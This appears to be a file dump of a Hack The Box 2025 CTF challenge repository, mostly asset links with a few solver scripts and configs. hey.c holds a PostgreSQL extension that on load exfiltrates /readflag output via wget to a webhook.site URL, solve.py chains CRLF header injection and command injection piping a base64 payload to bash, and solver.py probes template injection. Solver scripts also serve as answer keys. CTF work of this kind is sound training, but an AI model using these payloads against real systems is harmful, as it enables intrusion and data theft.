--------------------------------------------------------------------------------
/pwn/[Very Easy] Quack Quack/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/assets/htb.png
--------------------------------------------------------------------------------
/pwn/[Very Easy] Quack Quack/assets/inter.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/assets/inter.png
--------------------------------------------------------------------------------
/pwn/[Very Easy] Quack Quack/htb/glibc/ld-linux-x86-64.so.2:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/htb/glibc/ld-linux-x86-64.so.2
--------------------------------------------------------------------------------
/pwn/[Very Easy] Quack Quack/htb/glibc/libc.so.6:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/htb/glibc/libc.so.6
--------------------------------------------------------------------------------
/pwn/[Very Easy] Quack Quack/htb/quack_quack:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/pwn/[Very Easy] Quack Quack/htb/quack_quack
--------------------------------------------------------------------------------
/reversing/[Hard] Heart Protector/assets/AESencryptwithcontext-inside.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/AESencryptwithcontext-inside.png
--------------------------------------------------------------------------------
/reversing/[Hard] Heart Protector/assets/checkKey-call.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/checkKey-call.png
--------------------------------------------------------------------------------
/reversing/[Hard] Heart Protector/assets/checkKey-inside.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/checkKey-inside.png
--------------------------------------------------------------------------------
/reversing/[Hard] Heart Protector/assets/encryptImage-call.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/encryptImage-call.png
--------------------------------------------------------------------------------
/reversing/[Hard] Heart Protector/assets/encryptImage-inside.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/encryptImage-inside.png
--------------------------------------------------------------------------------
/reversing/[Hard] Heart Protector/assets/ghidra-main-module.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/ghidra-main-module.png
--------------------------------------------------------------------------------
/reversing/[Hard] Heart Protector/assets/ghidra-main.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/reversing/[Hard] Heart Protector/assets/ghidra-main.png
--------------------------------------------------------------------------------
/reversing/[Medium] Singlestep/htb/flag.py:
--------------------------------------------------------------------------------
1 | import numpy as np
2 |
3 | matrix = np.array([[88, -17, 19, -57], [45, -9, 10, -29], [-56, 11, -12, 36], [-40, 8, -9, 26]])
4 |
5 | ans = np.linalg.inv(matrix)
6 |
7 | flag = ''
8 | for i in range(4):
9 | for j in range(4):
10 | flag += chr(round(ans[i][j]) + i * j + 0x41)
11 | flag += '-'
12 | flag = flag[:-1]
13 | print(flag)
--------------------------------------------------------------------------------
/secure_coding/Lyra's Tavern - Easy/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Lyra's Tavern - Easy/assets/banner.png
--------------------------------------------------------------------------------
/secure_coding/Lyra's Tavern - Easy/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Lyra's Tavern - Easy/assets/htb.png
--------------------------------------------------------------------------------
/secure_coding/Lyra's Tavern - Easy/build_docker.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t lyras_tavern .
3 | docker run --name=lyras_tavern --rm -p 80:3000 -p 445:445 -p 1337:1337 -it lyras_tavern
--------------------------------------------------------------------------------
/secure_coding/Lyra's Tavern - Easy/config/cgi-bin.conf:
--------------------------------------------------------------------------------
1 | ScriptAlias /cgi-bin/ /usr/lib/cgi-bin/
2 |
3 | AllowOverride None
4 | Options +ExecCGI
5 | Require all granted
6 | AddHandler fcgid-script .cgi
7 |
--------------------------------------------------------------------------------
/secure_coding/Lyra's Tavern - Easy/config/fpm.conf:
--------------------------------------------------------------------------------
1 | [global]
2 | daemonize = no
3 | error_log = /dev/stderr
4 | log_level = notice
5 |
6 | [www]
7 | user = www-data
8 | group = www-data
9 |
10 | clear_env = On
11 |
12 | listen = /run/php-fpm.sock
13 | listen.owner = www-data
14 | listen.group = www-data
15 |
16 | pm = dynamic
17 | pm.max_children = 5
18 | pm.start_servers = 2
19 | pm.min_spare_servers = 1
20 | pm.max_spare_servers = 3
--------------------------------------------------------------------------------
/secure_coding/Stoneforge's Domain/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Stoneforge's Domain/assets/banner.png
--------------------------------------------------------------------------------
/secure_coding/Stoneforge's Domain/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/Stoneforge's Domain/assets/htb.png
--------------------------------------------------------------------------------
/secure_coding/Stoneforge's Domain/build_docker.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 | docker build -t stoneforges_domain .
3 | docker run --name=stoneforges_domain --rm -p 80:3000 -p 445:445 -p 1337:1337 -p 1338:1338 -it stoneforges_domain
4 |
--------------------------------------------------------------------------------
/secure_coding/secure_coding_arcane_auctions/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/secure_coding/secure_coding_arcane_auctions/assets/flag.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/addm.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/addm.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/bid.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/bid.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/bid_place.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/bid_place.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/csti.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/csti.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/dash.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/dash.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/flag.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/login.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/login.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/mybid.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/mybid.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/oauth_home.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/oauth_home.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/oauth_issue.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/oauth_issue.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/pass.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/pass.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/resource.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/resource.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/assets/self.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/assets/self.png
--------------------------------------------------------------------------------
/web/web_aurorus_archive/htb/hey.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include "postgres.h"
3 | #include "fmgr.h"
4 |
5 | #ifdef PG_MODULE_MAGIC
6 | PG_MODULE_MAGIC;
7 | #endif
8 |
9 | void _PG_init(void)
10 | {
11 | system("wget \"https://webhook.site/71c8eac2-6350-4f8b-8af2-cc8cfef4035c?x=$(/readflag)\"");
12 | }
13 |
--------------------------------------------------------------------------------
/web/web_aurorus_archive/htb/index.html:
--------------------------------------------------------------------------------
1 |
16 |
--------------------------------------------------------------------------------
/web/web_aurorus_archive/htb/libhey.so:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_aurorus_archive/htb/libhey.so
--------------------------------------------------------------------------------
/web/web_eldoria_panel/README.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/README.pdf
--------------------------------------------------------------------------------
/web/web_eldoria_panel/assets/claim_quest.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/claim_quest.png
--------------------------------------------------------------------------------
/web/web_eldoria_panel/assets/login.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/login.png
--------------------------------------------------------------------------------
/web/web_eldoria_panel/assets/overview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/overview.png
--------------------------------------------------------------------------------
/web/web_eldoria_panel/assets/register.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_panel/assets/register.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/README.pdf:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/README.pdf
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/advanced.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/advanced.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/capture.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/capture.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/fellowship.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/fellowship.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/flag.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/live_updates.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/live_updates.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/overview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/overview.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/quests.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/quests.png
--------------------------------------------------------------------------------
/web/web_eldoria_realms/assets/store.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_eldoria_realms/assets/store.png
--------------------------------------------------------------------------------
/web/web_obsidian_enigma/assets/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/1.png
--------------------------------------------------------------------------------
/web/web_obsidian_enigma/assets/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/2.png
--------------------------------------------------------------------------------
/web/web_obsidian_enigma/assets/banner.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/banner.png
--------------------------------------------------------------------------------
/web/web_obsidian_enigma/assets/htb.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_obsidian_enigma/assets/htb.png
--------------------------------------------------------------------------------
/web/web_obsidian_enigma/htb/solve.py:
--------------------------------------------------------------------------------
1 | from requests import get
2 | url = 'http://localhost:1337'
3 |
4 | def quote(s):
5 | return ''.join([f'%{hex(ord(c))[2:]}' for c in s])
6 | def dquote(s):
7 | return quote(quote(s))
8 |
9 | from base64 import b64encode
10 | payload = b64encode(b'cat /flag* > /var/www/html/flag.txt').decode()
11 |
12 | handler = f'proxy:http://127.0.0.1/cgi-bin/attack-ip?name=asfs{quote('&')}target=::1{dquote(f"%; echo \"{payload}\" | base64 -d | bash")}{quote('&')}dummy='
13 |
14 | get(f'{url}/cgi-bin/attack-domain?target=test&name=asdfasfd%0d%0aLocation:/as%0d%0aContent-Type:{handler}%0d%0a%0d%0a')
15 |
16 | print(get(f'{url}/flag.txt').text)
--------------------------------------------------------------------------------
/web/web_trial_by_fire/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/.DS_Store
--------------------------------------------------------------------------------
/web/web_trial_by_fire/assets/game.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/assets/game.png
--------------------------------------------------------------------------------
/web/web_trial_by_fire/assets/preview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/assets/preview.png
--------------------------------------------------------------------------------
/web/web_trial_by_fire/assets/results.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_trial_by_fire/assets/results.png
--------------------------------------------------------------------------------
/web/web_trial_by_fire/htb/solver.py:
--------------------------------------------------------------------------------
1 | import requests
2 |
3 | BASE_URL = "http://127.0.0.1:1337" # Change this if hosted elsewhere
4 |
5 | payload = "{{ 7 * 7 }}"
6 |
7 | response = requests.post(f"{BASE_URL}/battle-report", data={
8 | "damage_dealt": payload
9 | })
10 |
11 | print(response.text)
--------------------------------------------------------------------------------
/web/web_whispers_of_the_moonbeam/.DS_Store:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/.DS_Store
--------------------------------------------------------------------------------
/web/web_whispers_of_the_moonbeam/assets/command_output.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/assets/command_output.png
--------------------------------------------------------------------------------
/web/web_whispers_of_the_moonbeam/assets/flag.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/assets/flag.png
--------------------------------------------------------------------------------
/web/web_whispers_of_the_moonbeam/assets/preview.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/web/web_whispers_of_the_moonbeam/assets/preview.png
--------------------------------------------------------------------------------